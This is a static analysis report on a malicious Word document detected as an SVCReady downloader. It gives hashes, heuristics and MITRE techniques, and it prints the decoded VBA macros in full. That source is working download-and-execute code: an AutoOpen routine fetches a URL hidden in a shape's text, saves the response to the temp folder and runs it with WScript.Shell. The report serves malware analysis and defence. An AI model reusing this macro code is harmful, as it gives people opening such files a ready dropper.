Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0c57c1af0d46a31b…

MALICIOUS

Office (OOXML)

111.5 KB Created: 2020-08-06 11:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 0b01aac170af7c6420590b4a1a0f5386 SHA-1: 9861183af9c90dc10ea7258fb51fad7f72d0890d SHA-256: 0c57c1af0d46a31bb43a4881026c6f392ac53faac9780f6924dff91aed07d28d
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening, leveraging WScript.Shell and CreateObject to download a payload from a remote URL. The AutoOpen macro initiates the process by fetching content from an external relationship and then executing it. The script constructs a temporary file path at 'C:\Users\<user>\AppData\Local\Temp\main.theme' and attempts to execute it, indicating a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ca490dd4(b197b961)
Set b79564b2 = CreateObject("wscript.shell")
Call b79564b2.exec(b197b961)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function ca490dd4(b197b961)
Set b79564b2 = CreateObject("wscript.shell")
Call b79564b2.exec(b197b961)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "e7005e00"
Sub AutoOpen()
Dim a4d59054 As New a09a6626
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function c37342af()
c37342af = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: ebcef51c49e9a19c1fa962b9388931df8c72d31a028151f07a3dfb20ef0f4622
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "e7005e00"
Sub AutoOpen()
Dim a4d59054 As New a09a6626
Dim cd20cc33 As String
cd20cc33 = f4f1fdb5(ActiveDocument.Shapes(1).AlternativeText)
eb528a3f = a4d59054.c437d114(cd20cc33)
c534d4ed c37342af, eb528a3f
dc4553a7 = a4d59054.ca490dd4(c8ca2218 & " " & c37342af)
End Sub

Attribute VB_Name = "d0404388"
Sub c534d4ed(cb12b6da, b33d0fc7)
Dim dd405263
dd405263 = FreeFile
Open cb12b6da For Output As #dd405263
Print #dd405263, d87455a0(b33d0fc7)
Close #dd405263
End Sub
Function c37342af()
c37342af = Environ("temp") & "\main.theme"
End Function
Function f4f1fdb5(d04de6f8)
'f4f1fdb5 = StrReverse(d04de6f8)
f4f1fdb5 = d04de6f8
End Function
Sub bf79ea5f()
End Sub
Function d87455a0(b33d0fc7)
d87455a0 = StrConv(b33d0fc7, 64)
End Function
Function c8ca2218()
c8ca2218 = f4f1fdb5(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "a09a6626"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c437d114(e66b3e64)
Dim a0248ef8 As Object
Set a0248ef8 = New MSXML2.XMLHTTP60
aaa = a0248ef8.Open("GET", e66b3e64, False)
a0248ef8.Send
c437d114 = a0248ef8.responsebody
End Function
Function ca490dd4(b197b961)
Set b79564b2 = CreateObject("wscript.shell")
Call b79564b2.exec(b197b961)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: fbf6d8cd392ce7cfc028052a2be89c06c0b21654fa7e20bde179dfb1ee9b9a49

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